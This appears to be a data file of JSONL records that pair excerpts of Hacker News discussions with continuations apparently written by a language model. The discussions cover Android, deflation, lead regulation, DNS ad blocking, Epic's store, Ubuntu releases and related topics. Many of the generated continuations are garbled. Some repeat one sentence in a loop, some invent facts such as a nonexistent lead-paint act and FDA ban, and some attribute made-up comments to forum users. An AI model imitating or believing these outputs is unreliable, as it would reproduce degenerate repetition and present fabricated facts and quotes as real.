welcome to Android.\"\n\n\u2020 Everyone, depending on where the innovation is, being Google employees, and\nselect partners who are given access to the Android source before public\nrelease.\n\n~~~\nrecoiledsnake\nThat seems pretty true compared to the alternate platform which results in\nthings like this [http://blog.robrhyne.com/post/659211315/almost-on-the-app-\nst...](http://blog.robrhyne.com/post/659211315/almost-on-the-app-store) and\nthis\n[http://www.computerworld.com/s/article/9207641/Apple_rejects...](http://www.computerworld.com/s/article/9207641/Apple_rejects_Sony_e_reader_app_Is_Kindle_next_)\n\nAnd it seems like nothing has changed with the latest changes to Android. Care\nto elaborate?\n\nEdit: And how is a IO keynote 'an entire marketing campaign'?\n\n~~~\ncube13\n>Edit: And how is a IO keynote 'an entire marketing campaign'?\n\nHow is the text on not?\n\n~~~\nrecoiledsnake\nA web page on the internet is an entire marketing campaign?\n\nWhat percentage of Android users even visited that page in their lifetime,\nforget about being swayed by that statement on it? 0.005%?\n\n------\njoeminkie\n_It is getting tiresome to hear Apple fans, having long bashed Google's\nAndroid because \"open\" was bad, now bash Google for being somewhat less\n\"open.\"_\n\n"} +{"output_text": " not taxed).\n\n~~~\njbooth\nI'm not sure what you're trying to say here.\n\nIf you're saying that deflation is bad because it's a risk-free investment,\nthen you're wrong.\n\nIf you're saying that deflation is bad because it's a risk-free investment,\nthen you're wrong.\n\nIf you're saying that deflation is bad because it's a risk-free investment,\nthen you're wrong", "input_text": ", it looks like they get screwed.\nIn practice, the productivity and technology advances created by the\ninvestment by people with money are often effectively neutral or\n_deflationary_. Not only are they more productive at their jobs, assuming they\nhave one, but the costs of many goods decline thanks to the investment. This\ndoesn't apply to all goods but it applies to many that almost everyone\nconsumes. That said, if an economy inflates too fast it can quickly outstrip\nthe earning potential of the people that operate in it. The flow of money\nthrough an economy has a significant viscosity and in extreme cases that\ncauses much suffering.\n\nIn summary, the reason mildly inflationary economies are commonly preferred by\nmost governments is that, on the balance, it optimizes incentives to maximize\nreal investment which not only grows the economy in real terms but has quasi-\ndeflationary effects for consumers as well. There are always tradeoffs but\nthis is widely believed to have the \"least bad\" set of tradeoffs for a\ncurrency inflation/deflation policy.\n\n~~~\nyummyfajitas\nThis is NOT why deflation is bad. If there is a deflation rate D and (nominal)\ninterest rates R, you can still get a real return of D+R by investing your\nmoney. If you want \"risk free\" income, you can put your money into AAA fixed\nincome _just like you would do in an inflationary economy_.\n\nThe effects on the allocation of investment in a deflationary world are\nmathematically identical to an increase in interest rates. I.e., D=0, R=5 is\nthe same as D=2, R=3.\n\nThe only notable economic effect is that black money can now earn interest\n(it's"} +{"output_text": " issue with it.\n\n------\njedberg\nI'm not sure if this is a bug or a feature.\n\nI'm on a mobile device, and I'm seeing the same thing. I'm not sure if it's\nbecause I'm on a mobile device, or if it's because I'm on a mobile device and\nI'm using an ad blocker.\n\n~~~\njedberg\nI'm seeing the same thing on my desktop.\n\n------\n", "input_text": "I like that the \"consent\" URL doesn't actually ask for consent - it just\nimmediately redirects to \"collect identifiers\" \\- it's possible they already\nassume they have my consent, but since this was checked with a cookie-less\ncURL command, that seems unlikely. Since my adblocker is blocking the\nguce.advertising.com domain, I guess I don't get to visit TechCrunch.\n\n~~~\ntomger\nAnother post where the top part of the thread is a tangent/unrelated to the\npost. This is becoming common on HN and I don\u2019t find it helpful.\n\n~~~\ncorentin88\nTotally agree. It\u2019s especially annoying because it\u2019s the top thread.\n\n~~~\nNarishma\nIt's the top thread because people find it interesting. If you don't, just\nclick the [-] and it will close the whole thread.\n\n------\nbouke\nWebsite hijacks my back button in Safari. Is there something that can be done\nto prevent this?\n\n~~~\ndao-\nI know we (Mozilla) are working on fixing this in Firefox:\n[https://bugzilla.mozilla.org/show_bug.cgi?id=1515073](https://bugzilla.mozilla.org/show_bug.cgi?id=1515073)\n\nYou may want to check Apple's bug tracker, they likely have an open issue on\nthis already.\n\n~~~\nheartbeats\nIt would be a better idea to block ads served from such sites, or to even send\npunitive requests.\n\n~~~\ndao-\nIt's possible Firefox already does that via its enabled-by-default tracking\nprotection. At least I don't seem to have an"} +{"output_text": ", the U.S. Food and Drug\nAdministration (FDA) banned the use of lead in food packaging, and in the\n1970s, the U.S. Environmental Protection Agency (EPA) banned the use of lead\nin gasoline. In the 1980s, the U.S. Congress passed the Lead-Based Paint\nElimination Act, which banned the use of lead in paint and lead-based\npaints._\n\nSo, the reason we", "input_text": "\n\n------\njupp0r\nWhen you think people had learned their lesson by the 1930s, don't forget\nabout watching atomic bomb tests from the side of the road in Nevada in the\n50s: [https://allthatsinteresting.com/atomic-\ntourism](https://allthatsinteresting.com/atomic-tourism)\n\n~~~\ndjtriptych\nIf totally do it if it were even close to safe. Is a small yield blast\ndangerous from 75 miles?\n\n~~~\narethuza\nYou can use Nukemap to work that out:\n\n[https://nuclearsecrecy.com/nukemap/](https://nuclearsecrecy.com/nukemap/)\n\nI think it would be perfectly safe - though you probably don't want to live\ndirectly downwind:\n\n[https://en.wikipedia.org/wiki/Downwinders](https://en.wikipedia.org/wiki/Downwinders)\n\n------\nm463\nMakes me think that regulation moves very slowly.\n\n~~~\nmicrocolonel\nIt moves slowly in both directions. If everything had built-in sunset\nprovisions, it would be a lot easier to try things.\n\n~~~\nRetric\nThat seems like a terrible idea because people forget why useful regulations\nwhere needed.\n\nLead is never going to be safe. _Julius Caesar's engineer, Vitruvius,\nreported, \"water is much more wholesome from earthenware pipes than from lead\npipes.\u201c_ _Lead was added to cheap wine illegally in the 18th and early 19th\ncenturies as a sweetener._. Note the illegal bit because we knew it was toxic.\n\nBut fast forward and... _In the late 1950s"} +{"output_text": " free phones and\nservices.\n\n~~~\nmodeless\nI don't know about that. Samsung is a major employer in the area, and they\ndon't have a store there.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that Mycroft is being held accountable for their\nactions.\n\nI think it's a bad thing that they're being held accountable for their actions\n", "input_text": "and/or subscription model to the tune of a Bernie Sanders-equivalent funding\nlevel.\n\n~~~\nrayiner\nThere is an enormous, well funded, Silicon Valley lobbying effort directed at\nweakening the patent system. The last Patent Office director was head of\nPatent Strategy for Google for almost a decade. However, almost all the other\nindustries, from automotive to pharmaceuticals to aerospace, and even some of\nthe more traditional players in Silicon Valley, are on the other side of the\nissue.\n\n~~~\nuep\nNo matter how detrimental software patents are to the big players, they are\nfar more detrimental to the small players. If it can keep the smaller players\nfrom being real competitors, it's in the best interest of the big companies to\njust pay the patent tax. They stand to lose far more with a lower barrier to\nentry to their markets.\n\nSoftware is kind of unique (and even moreso now with the prevalence of cloud\nproviders) with its otherwise low barrier to entry; as capital expenses are\nextremely low compared to other industries.\n\n------\nmodeless\nEast Texas? Should be thrown out after the recent Supreme Court ruling, unless\nMycroft actually has an office there. Apple went to the trouble of closing\ntheir stores in East Texas for that exact reason:\n[https://www.macrumors.com/2019/02/22/apple-closing-stores-\nin...](https://www.macrumors.com/2019/02/22/apple-closing-stores-in-eastern-\ndistrict-texas/)\n\nDid this troll not get the memo?\n\n~~~\ntim--\nInteresting that this is the same area that Samsung spends hundreds of\nthousands of dollars to 'bribe' the local community with"} +{"output_text": "-\nBlacklist](https://github.com/khainebot/DNS-Unbound-Blacklist)\n\n------\njlgaddis\nI've been using Unbound for a while now and it's been working great.\n\n------\njlgaddis\nI've been using Unbound for a while now and it's been working great.\n\n------\njlgaddis\nI've been using Unbound for a while now and it's been", "input_text": " type of behavior and much more (Lua for\nPowerDNS, Python for Unbound).\n\nI'd say a script for any of these would be a better choice.\n\n~~~\npgl\nI just yesterday added an Unbound format for my list!\n[http://pgl.yoyo.org/as/#unbound](http://pgl.yoyo.org/as/#unbound)\n\n~~~\nvbezhenar\nI used just 'local-zone' entry. Unbound answers NXDOMAIN for those domains,\nand it prevents next HTTP request to 127.0.0.1. I'm not sure what approach is\nbetter.\n\n~~~\npgl\nTo be honest, I don't use Unbound myself - I was just going off what was sent\nto me as an example of the format to use.\n\n------\nwodenokoto\nWhy do you need to spoof as opposed to block domains?\n\n~~~\nlaumars\nIn the case of this HN submission, they're the same thing. From what I can\ngather, Adsuck is essentially just a DNS forwarder that sends NX DOMAIN for\nblacklisted domains but forwards the DNS requests for all other DNS lookups.\nSo \"spoof\" is a little misleading since it's actually doing the job of a\nnormal DNS forwarder - albeit tuned with privacy in mind. So I think it's fair\nto say this method could more accurately be defined as \"block[ing] domains\"\nrather than \"spoofing DNS\". However I'd welcome a correction if I'm wrong.\n\n------\nKhaine\nI wrote a simple python script to blacklist bad domains for unbound\n[https://github.com/khainebot/DNS-Unbound"} +{"output_text": " is\nlimited to CSS.\n\n~~~\njrochkind1\nIt's a post-processor, but it's not limited to CSS. It's a post-processor for\nCSS.\n\nIt's a post-processor for CSS that is not limited to CSS.\n\nIt's a post-processor for CSS that is not limited to CSS.\n\nIt's a post-processor for CSS that is not limited to CSS.\n\nIt's a post-processor", "input_text": "below.\n\n~~~\nuserbinator\n> I'm on a Mac so there's no scrollbars. There's your problem.\n\n~~~\niLoch\nCongratulations on being an ignorant elitist. I have both Mac and PC and have\nbeen using both for a very long time. The point of my statement is that\nwhether or not I can see my scrollbar, I shouldn't have to look at the size of\nthe bar to determine the functionality of the site.\n\n------\ntransfire\nI wish there were a revolt against W3C. They have consistently made a mess of\neverything they touch (and take forever to do it). Why reinvent the wheel yet\nagain with another fuglier syntax? We already have Sass and LESS which are\nwidely used and quite beloved. Just adopt the best of those and save us from\nyet another \"XSL-FO\". Please! For God's sake, man!\n\n~~~\njsmeaton\nSo, in your world, we'd all have to compile our stylesheets? I don't like that\nidea at all.\n\n~~~\njrochkind1\nNo. The reason sass or less require compiling is to support features that\naren't actually a part of the CSS standard, so they need to be compiled down\nto things that are a part of the css standard.\n\nIn his world, the best of those features would be part of the CSS standard and\nsupported by browsers, so you could just give them right to browsers without\ncompiling anything.\n\n~~~\njsmeaton\nWell I'm glad I phrased it as a question then :)\n\n------\ncrystaln\n\"post-processor\"? What does that mean?\n\nLooks a lot like a pre-processor to me, except that its functionality"} +{"output_text": " block from\nBitcoin they would also get a block from Namecoin.\n\nThe only thing that would need to be coordinated is the block size. The\nblockchain would need to be merged at some point.\n\nI think this is a good idea, but I don't think it's a good idea to merge the\nblockchains at this point. I think it would be better to wait until the\nblockchain is larger and more mature.\n\nI think it would be", "input_text": "ists. Schr\u00f6dinger\ncalled himself an Atheist but had a strong affinity for Eastern spiritually\nand Oppenheimer was into Hinduism. And if you want to get into some _really_\nweird stuff, look up Jack Parsons, founder of JPL at NASA.\n\nScientists are just people like the rest of us and grapple with the same\nquestions in life all of us do.\n\n \nNamecoin - rfreytag\nhttps://en.wikipedia.org/wiki/Namecoin\n======\nJacobAldridge\nAt the risk of hijacking yet another cryptocurrency thread, this is an\nopportunity to note how valuable I believe HN to be when it highlights primary\nsources.\n\nSecondary sources - whether it's lazy journalism, blog-jacking, or Wikipedia,\nengages us here in a discussion already framed through another person's or\ngroup of people's editorial eyes. Is there no better overview of Namecoin than\nits Wikipedia page?\n\n~~~\nbachback\n[http://namecoin.info](http://namecoin.info)\n\nThis is where it started:\n[https://bitcointalk.org/index.php?topic=1790.0](https://bitcointalk.org/index.php?topic=1790.0)\n\nsatoshi's comment on the matter, posted 4 days before he left the forum.\n\n\"I think it would be possible for BitDNS to be a completely separate network\nand separate block chain, yet share CPU power with Bitcoin. The only overlap\nis to make it so miners can search for proof-of-work for both networks\nsimultaneously.\n\nThe networks wouldn't need any coordination. Miners would subscribe to both\nnetworks in parallel. They would scan SHA such that if they get a"} +{"output_text": " world where\nAndroid and iOS are the only mobile OSes that are actually viable.\n\n~~~\njosteink\n> So you definitely want some post-mortum on the last KDE mobile attempt and\n> you also want to consider how Plasma Mobile might succeed or fail in a world\n> where Android and iOS are the only mobile OSes that are actually viable.\n\nI think you're missing the point.\n\nThe point is that Plasma Active is dead. It's been", "input_text": " saying \"libre\" now, not \"free\"? Just want to keep up with the latest\nlingo.\n\n------\nzanny\nSo nobody is talking about Plasma Active.\n\n[http://plasma-active.org/](http://plasma-active.org/)\n\nSome history, Plasma Active is about five years old now and its development\ncoincided with a would-have-been-crowdfunded-toay tablet called Vivaldi that\nwas supposed to be an open hardware device that never panned out because costs\ngot out of control and interest waned.\n\nIt was based on Mer, rather than Kubuntu, and Qt4 rather than 5. Today it\nlooks like a colossal wreck, and all the \"Active\" app UIs developed for it are\nall complete wastes of code and time today because QML was not mature enough\nwhen they made that \"first attempt\". Today there are common themed QML\nelements called the qt-quick-controls that everyone can use to build UIs that\nadapt to every devices native toolkit, while still supporting animations and\nflow elements and all the nice graphical perks hardware accelerated UIs allow.\n\nIts been basically dead in the water for over two years, since the tablet\nproject went belly up, and there even used to be a \"Kubuntu-active\" fork of\nKubuntu that the project was maintaining as a way to try out the Plasma Active\ndesktop on top of a Kubuntu core. The shell from Plasma Active did eventually\nsee use in its adoption as the \"netbook\" interface found in Plasma 4 near the\nend of its lifecycle.\n\nSo you definitely want some post-mortum on the last KDE mobile attempt and you\nalso want to consider how Plasma Mobile might succeed or fail in a"} +{"output_text": "ck, hire a full-time QA engineer\n\n\\- Pay for the dev team to work on the game full-time\n\n\\- Pay for the dev team to work on the game for a year\n\n\\- Pay for the dev team to work on the game for a year, and then get a\nroyalty on the game\n\n\\- Pay for the dev team to work on the game for a year, and then get a\nroyalty on the game, and then get", "input_text": " on Android than installing\nnon-Mac-App-Store software on macOS \u2014 with Android it prompts you right when\nyou open to allow or disallow installs from the source you downloaded from,\nwhereas macOS makes you dig around in Settings the first time. I tried\ninstalling the Epic store just now on Android, and it was a fairly seamless\nexperience.\n\nI'm sure it gets fewer sales, since the Play store is bundled with most\nAndroid phones and the Epic store isn't. But it's pretty different than an\noutright ban: the Play store is charging you the 30% Google tax for\nreach/audience, but you're free to list on an alternative store if you choose\nto.\n\n------\nivanstojic\nIt's important to remember that Epic games isn't a champion of freedom here.\n\nAfter Epic store launched on the PC in 2018, Epic used their platform's\ngrowing popularity to bait and/or strong arm (it's unclear to me) indie\ndevelopers into exclusivity contracts on Epic's game store. This action caused\na massive uproar in the gaming community because with those exclusivity deals,\nEpic made developers break existing preorders.\n\nThis isn't about freedom or choice or walled gardens. It's about cutting off a\nslightly bigger slice of a billion dollar pie.\n\n~~~\nel_nahual\nI happen to know some first-time indie devs that were given this deal. The\ndeal is incredibly generous. Basically, epic offered them a bag of money in\nexchange for a certain period of partial exclusivity (basically \"don't be on\nSteam\"). That's it. This bag of money allowed the developers to:\n\n\\- Grow the dev team enough to accelerate time to launch--QA extra engineers,\nhe"} +{"output_text": " is a skill that\ncan be learned.\n\n------\njoshu\nI think you're suffering from a lack of self-awareness.\n\nI'm not sure what you're doing, but I'm guessing you're not doing it very\nwell.\n\n------\njoshu\nI think you're suffering from a lack of self-awareness.\n\nI'm not sure what you're doing, but I'm guessing you're not doing it very\nwell", "input_text": " but I\ncome from a culture where this aspect of work was never emphasized and at this\npoint, I don't know who to ask.\n\nOff topic, Could anyone point to a place where you could ask for advice of\nlife? It seems once we are in the 30s, there are more questions then answers\nthen when i was in 20s.\n\n------\nmseebach\nI used to feel that way, but I finally came to terms with the fact that my\nwork-life was a mess, and I was basically lying to myself.\n\nI was working (and struggling, hard, in the way you describe) on a project I\nwas telling myself would become a startup, and even though I felt I was being\nrealistic about the limitations, in retrospect even that was insanely\noptimistic. I was burning myself out.\n\nOnce I had this epiphany - triggered by going to Startup Weekend and having a\nton of fun (and no motivational problems!) working on a project, I pulled the\nplug and eventually got a fairly regular job in a fairly normal company (in an\nexcellent team, though).\n\nThe epiphany and pulling the plug had a huge effect. It didn't fix everything\novernight, but I did get into a habit of introspection, especially when I'm\nfacing tasks that I struggle to get motivated for. They're still hard, but I\nam generally able to organise things around them in such a way that they don't\nget me down.\n\n------\nDowwie\nYou're not suffering from ADHD. You're using a motivational skill! It's a very\nvaluable skill to have! Boring work can be made interesting, life changing\neven. This requires vigilance, as you've noticed. Motivation"} +{"output_text": "/postgres/blob/master/pkg/leader_election.go)\n\n~~~\nnewaccoutnas\nThanks for the info.\n\n------\njedberg\nI'm really excited about this. I've been using Kubernetes for a while now and\nit's been great, but I've been missing the ability to run a database.\n\n~~~\njedberg\nI'm not sure why this is getting downvoted. I'm not trying to be a", "input_text": " be using TPR, but rather CRDs (see\n[https://coreos.com/blog/custom-resource-\nkubernetes-v17](https://coreos.com/blog/custom-resource-kubernetes-v17)). The\nwelcome video is not really convincing either - condensing it to an animated\ngif would make it much more attractive imho.\n\n------\ntn890\nCan someone explain to me why I'd run this over a StatefulSet of whatever\nsoftware I want to deploy?\n\nI've been skimming the docs and can't find a good reason TBH.\n\n~~~\nstriking\nThe Postgres clustering advertised here[0] seems like a great reason to me.\n\n0:\n[https://kubedb.com/docs/0.9.0/guides/postgres/](https://kubedb.com/docs/0.9.0/guides/postgres/)\n\n~~~\nnewaccoutnas\nHow does that compare to something like CitusDB I wonder?\n\n~~~\nsciurus\nIt looks like a standard single r/w master + multiple r/o slave topology with\nthe addition of their own leader election. I'd want to understand how the\nlatter works and how it is tested very well before I'd trust it.\n\n[https://kubedb.com/docs/0.9.0/guides/postgres/clustering/ha_...](https://kubedb.com/docs/0.9.0/guides/postgres/clustering/ha_cluster/)\n\n[https://github.com/kubedb/postgres/blob/master/pkg/leader_el...](https://github.com/kubedb"} +{"output_text": "\n------\njedieaston\nI'm curious about the \"Ubuntu Core\" project. Is it a new thing, or is it\nsomething that's been around for a while?\n\n~~~\njosteink\nIt's a new thing.\n\nUbuntu Core is a new thing that is a stripped down version of Ubuntu that\ndoesn't include the desktop environment.\n\nUbuntu Core is a new thing that is a stripped down version of Ubuntu that\ndoesn't include the desktop", "input_text": "noys me to no\nend, and, like you, it's pretty much caused me to abandon the *buntus at this\npoint.\n\n~~~\ncies\nTo have pretty much all my 3rd party software installed through one system was\nreally great! I remember installing a Linux in 30mins and a Windows in 5hours.\n\nWhat distro did you run to?\n\n~~~\nsq_\nI ended up heading off to Arch. I've always enjoyed messing around with\nnonstandard desktop setups, and it was really appealing for that because of\nthe lean default system that Arch provides, along with the availability of so\nmuch software through the AUR.\n\nOne perk of the AUR (although it does come with some security concerns, etc.)\nis that you can use one of several package managers to handle both it and the\nstandard repositories under one framework, dealing with exactly the issue I\nhad with snap without needing PPAs and the like.\n\n------\nlexa1979\nSo, what about the 32 bit libraries needed to run my Steam-Proton games? I\nheard it was going to be removed from 20.04, is it real? If I upgrade my\n18.04 installation, will it keep it?\n\n~~~\ndindresto\nNo, the compatability libraries are still there and Steam and Proton will run\nfine.\n\n------\nw-m\n\"Focal Fossa is a long-term support (LTS) release and will be supported for 3\nyears, until April 2024\"\n\nIs this LTS release supported for 3 years, or until April 2024 (4 years)?\n\n~~~\nflatiron\n[https://wiki.ubuntu.com/Releases](https://wiki.ubuntu.com/Releases)\n"} +{"output_text": "2013/01/30/the-\nun-rules-of-war-on-al-qa...](http://reason.com/blog/2013/01/30/the-un-rules-of-\nwar-on-al-qaeda)\n\n------\njoshuahedlund\nI'm not sure I agree with the premise that the rules of war are \"unwritten\"\nand \"unwritten\" is a bad thing.\n\nThe rules of", "input_text": " isn't over, then when will it be over? And is it even legitimate?\nThe U.S. declared war on the concept \"Terrorism\" during Bush Jr's presidency,\nnot on specific terrorists or al-Qa'ida. The U.S. also declared a war on\n\"drugs\" during the Reagan years. Though I'm in support of both \"wars\" because\nI'm in favor of the well-being and defense of the U.S. people, I don't think\nCongress or the president should have a right to declare war on something that\ncannot end, i.e. cannot terminate via treaty, surrender/capitulation, complete\ndestruction, or victory.\n\nI am a little concerned that we are declaring that it is ok to kill our own\ncitizens without due trial, although I understand there are conditions.\n\n~~~\ncamus\nwell the point you are missing is, it takes place outside a war context.\nAlQaida is not the army of afghanistan, in fact most of its members are\nsaudis, egyptians or from yemen. So the Geneva convention \"doesnt apply\",\nthat's the why of the enemy combattant status and all that illegal crap made\nlegal.\n\n------\nrevelation\nThese are not \"rules\", these are _justifications_ should the political fallout\nbe of the atomic type. Rules is a horrible euphemism for this absurdity, it\nimplies that there is someone to enforce these rules, which is what is so\nconspicuously absent from the picture here.\n\n------\njkoschei\nBest. Permalink. Ever.\n\n~~~\nbrokentone\nIn case they change it: \"[http://reason.com/blog/"} +{"output_text": " with your productivity.\"\n\nI'm not sure what to make of this. I'm not sure if I'm ADD or if I'm just\nlazy. I'm not sure if I'm just a bad employee or if I'm just a bad person.\n\n~~~\njasonkester\nI'm not sure if you're ADD or just lazy. I'm not sure if you're just a bad\nemployee or just a bad person.\n\nI'm not sure if you", "input_text": " might be the feeling that\nyou should look for when defining that \u201esuccess\u201c in work. And once you know\nwhat it is motivation will come to you as a lucky dog or a cat asking to be\npetted.\n\n------\nanonlazybastard\nYes, I do feel this way. So much so in fact that I could convince myself that\nI sleep-typed this, except for the fact that I'm in my mid-thirties. All the\nway down to gamifying my productivity, racking up points and \"indulgences\"\nwhich I use on junk food, video games, etc. I wish I had an answer, and am\nkeeping an eye out on these replies as well.\n\nThat said, all external indicators seem fine. Whenever I bring the issue up to\ncolleagues, superiors, or significant other, they assure me that I work plenty\nhard. I'm doing \"okay\" in my line of work, on track for a passable career in\nresearch. But I am all too aware of how much time I waste and how much better\nI could be doing. This troubles me because I know my work makes a difference\nin the grand scheme of things.\n\nIt's possible that we only have so many creative/intense work hours in the day\nand it's a lot fewer than we realize. In my case, I probably average around 3\nhours of solid work per day, highly irregular (most days probably 1-2 with\nsome hard spikes).\n\nShortly before finishing grad school, I did go see a therapist. He said\nsomething like \"You might have a mild case of ADD, but you seem to be making\nit work so far (was finishing up a PhD). I could prescribe you medication, but\nI wouldn't want to mess"} +{"output_text": ", please contact me.\n\nI\u2019m a software engineer who has been working on a project to help people\nmanage their digital assets. I\u2019m looking for a way to get Joe\u2019s work into the\nhands of the right people.\n\n~~~\njoe_the_user\nI'm not related to Joe, but I'm a software engineer who has been working on a\nproject to help people manage their digital assets. I'm looking for a way to\nget", "input_text": " the end he surprisingly ended up surviving\nhis terminal cancer, thanks to his doctors.\n\n[https://en.wikipedia.org/wiki/Wilko_Johnson#Cancer](https://en.wikipedia.org/wiki/Wilko_Johnson#Cancer)\n\n------\nsnazz\nI can\u2019t say I\u2019ve ever seen someone use an issue tracker as a blog before, but\nit does make sorting the posts dead easy.\n\n~~~\ngiancarlostoro\nI wish he would of called it an e-zine. Then \"Issues\" would match the use\ncase... Bring e-zines back dang it! _raises wrinkly millennial fist_\n\n~~~\ngiancarlostoro\nA fun side effect of his approach is you can see people who forked off the\nidea, there's at least two people blogging using this format as well:\n\n[https://github.com/lukego/blog/network/members](https://github.com/lukego/blog/network/members)\n\n------\nredleggedfrog\nI hope when I die I'll be worthy enough to ascend to whatever is the\nprogrammer Valhalla and I'll see Joe there, amongst the other greats.\n\nI have never written a line of Enlang, but as I've seen the advantages of\nloading binaries at run-time as swappable components I get an inkling of the\nbeauty of the idea. It's not near so easy in C# as it appears to be in Erlang.\n\nAlso, I nominate the name of programmer Valhalla to be called \"Greenfield.\"\n\n------\ntoomuchtodo\nIf anyone related to Joe has access to his home directory and knows someone\nmanaging his estate"} +{"output_text": " caught.\n\n~~~\njlgreco\nI think you are confusing the right to free speech with the right to free\nspeech _in the public square_.\n\nThe latter is a right that is not absolute, and is subject to reasonable\nrestrictions.\n\n~~~\njoshfraser\nI'm not sure I understand your point.\n\n~~~\njlgreco\nI think you are confusing the right to free speech with the right to free\nspeech", "input_text": "ensible\nposition, defended over the centuries by many honorable people. I respect that\nposition. But, even though I have largely pacifist ancestors, I think as a\nfather of a daughter that if the Taliban tried to set up their women-\noppressing rule anywhere my daughter might have occasion to live or work, I\nwould oppose them by all means necessary, up to and including lethal force.\nThat's not because forcing women to be covered from head to toe when they go\nout of their homes is itself a capital crime, but because some Taliban fellow-\ntravelers also commit capital crimes like murdering women who try to teach\nmothers how to vaccinate their children to keep the children from dying from\ninfectious diseases. I would not be ashamed to kill a baby-killer or woman-\nmurderer.\n\nAFTER EDIT: I will now take time to give a careful lawyer's read to the\ndocument (white paper) linked to from the blog post submitted here.\n\n[http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_W...](http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_White_Paper.pdf)\n\n~~~\nvy8vWJlco\n> _I would not be ashamed to kill a baby-killer or woman-murderer._\n\nSo your ends justify their means.\n\n------\njoshfraser\nThe strength of your principles is only tested at the extremes. I hate\nWestboro Baptist Church, but I'll support their right to say what they want,\nbecause that's how much I believe in free speech. And even terrorists deserve\nthe right to a speedy and public trial if they're"} +{"output_text": "://twitter.com/Y_Mokko/status/837610472362786817)\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see any mention of the\nswitch's hardware specs.\n\nI'm curious if it's a single-core ARM CPU, or if it's a dual-core ARM CPU.\n\n~~~\njosteink\nI guess I'm not missing anything.\n\nThe", "input_text": ".youtube.com/channel/UC5NO8MgTQKHAWXp6z8Xl7yQ)\n\n[1] -\n[https://www.youtube.com/user/EEVblog](https://www.youtube.com/user/EEVblog)\n\n~~~\nyoodenvranx\nYes, This Old Tony one of the best Youtube channels at the moment. His old\nvideos are all good, but the last few videos were really excellent.\n\nedit: Another good channel is Clickspring, right now he is building that\nancient greek mechanical computer thing which was found in a shipwreck.\n\n------\nsimplemath\nYou are a bit underwhelmed.\n\nGot it\n\n~~~\nfrik\nI listed some fair constructive criticism of minor things that came to my mind\ntrying it out to an overall great new game console.\n\nYou seem to be trolling, got it.\n\n~~~\nfrei\nThe repetition of the word 'underwhelmed' seems intentional, but the reason\nfor it is unclear. It's distracting to the point that the actual content of\ncomment is lost on the reader.\n\n------\nrichardboegli\nIt runs on FREEBSD\n[https://news.ycombinator.com/item?id=13789444](https://news.ycombinator.com/item?id=13789444)\n\n~~~\nBinaryIdiot\nKinda poor taste to just try and bump your submitted HN post versus posting\nthe actual source.\n\n------\nnikcub\nthe Switch booting into its FreeBSD kernel:\n\n[https://twitter.com/Y_Mokko/status/837610472362786817](https"} +{"output_text": " Chinese military's headquarters in Beijing, he\n> found that the unit had been disbanded.\n\n> \"I was told that the unit had been disbanded,\" Hickton said. \"I was told\n> that the unit had been disbanded. I was told that the unit had been\n> disbanded. I was told that the unit had been disbanded. I was told that the\n> unit had been disbanded. I was told that", "input_text": " is further slashed.\n\n~~~\nizacus\nI see this thrown around all the time when we talk about monopolizing IP and\nhaving huge corporations put their lawyer boots on smaller company throats...\nbut is it really true? Will making IP protection weaker actually stifle\ninnovation? Was innovation in industrial era hugely stuffled by not protecting\nevery single patent a huge multi-national conglomerates throw out?\n\n~~~\nsgt101\nWell, yes, hence the development of patents.\n\n\"The English patent system evolved from its early medieval origins into the\nfirst modern patent system that recognised intellectual property in order to\nstimulate invention; this was the crucial legal foundation upon which the\nIndustrial Revolution could emerge and flourish.\" ([1]Wikipedia)\n\nWithout patents what you do is create trade secrets, patents publish the\nconcepts that are protected, they are fully disclosed (or the patent is junk)\nand after 25 years _anyone_ can use them. The 25 years is the time that you\nhave to get payback on your invention - forcing investment in development\n_now_ before your monopoly expires.\n\n[1]\n[https://en.wikipedia.org/wiki/Patent](https://en.wikipedia.org/wiki/Patent)\n\n------\nCharlesColeman\n> Hickton opened an investigation and quickly set his sights on a special unit\n> of the Chinese military \u2014 a secretive group known as Unit 61398.\n> Investigators were able to watch as the unit's officers, sitting in an\n> office building in Shanghai, broke into the computer systems of American\n> companies at night, stopped for an hour break at China's lunchtime and then\n> continued in the Chinese afternoon.\n\n>...\n\n> But when Hickton went to the"} +{"output_text": " it again.\n\n~~~\njlarocco\nI think the problem is that the parking enforcement is a joke.\n\nI've been to a few schools where they have a parking enforcement officer, and\nthey're just there to make sure the students don't get tickets.\n\nI've also been to a few schools where they have a parking enforcement officer\nand they're there to make sure the students don't get tickets.\n\nI've also been to a few schools where", "input_text": "), law\nenforcement (mostly ignorant of tech), _and_ the good 'ol citizenry (cast as\ncattle as usual).\n\nI love how, when one of these places recruits you, it takes forever to learn\nwhat they're about, because their website is nothing but euphemisms.\n\n------\njlarocco\nAm I the only one who thinks this is wrong? An alternative headline could be\nsomething like, \"Entitled College Kids Learn How To Keep Parking Like Assholes\nWithout Paying Fines.\"\n\nAnd it's a pyrhic victory anyway, because chances are now the cars will get\none of the metal tire boots put on, or get towed. Both of which are more\nexpensive and a bigger hassle for everybody.\n\n~~~\nhanniabu\nThe issue I have is cases like at my school where they basically had\nentrapment. At the start of every year there'd be like 2-3 months where it's a\nfree for all and students could park wherever. The certainty was nowhere near\nadequate parking and not everywhere that people parked was readily obvious to\nbe illegal. Some spots had the yellow on the curb worn away 90%, others were\nthings like too close to a corner or hydrant by everyone was doing it those\n2-3 months that you get used to it and think it's okay and when there's no\nother spots left you park in one of those spaces (kind of like when people\nstart creating a new parking lane in the center of a full parking lot).\n\nAfter a few months of no enforcement and letting the students get used to\nparking like this, then they'll crack down with brutal enforcement. I'm\ntalking about them sniping you a few minutes after you walk away. Every year\nthey'd reset and do"} +{"output_text": "-years/)\n\n~~~\njjeaff\nI'm not sure how much of that is due to the fiduciary rule.\n\nI think the biggest impact is that the DOL is now going to be able to\ninvestigate and prosecute financial advisors who are not following the rules.\n\n~~~\ninflatableDodo\nI think the biggest impact is that the DOL is now going to be able to\ninvestigate and prosecute financial advisors who are not following the rules.\n", "input_text": " in all\ncells.\n\nIt does occurs fairly early in the development process (a stage called\ngastrulation), and the deactivation does persist for all cells that descend\nfrom a given cell present. But critically, it's late enough that a retina\ncould conceivably possess cells descending from two different \"lineages\".\n\nYou can actually visibly see the \"resolution\" of the deactivation by looking\nat tortoiseshell cats. Each blotch of orange/black represents one cell present\nat the deactivation stage.\n\n \nAbandoning the fiduciary rule was a mistake - 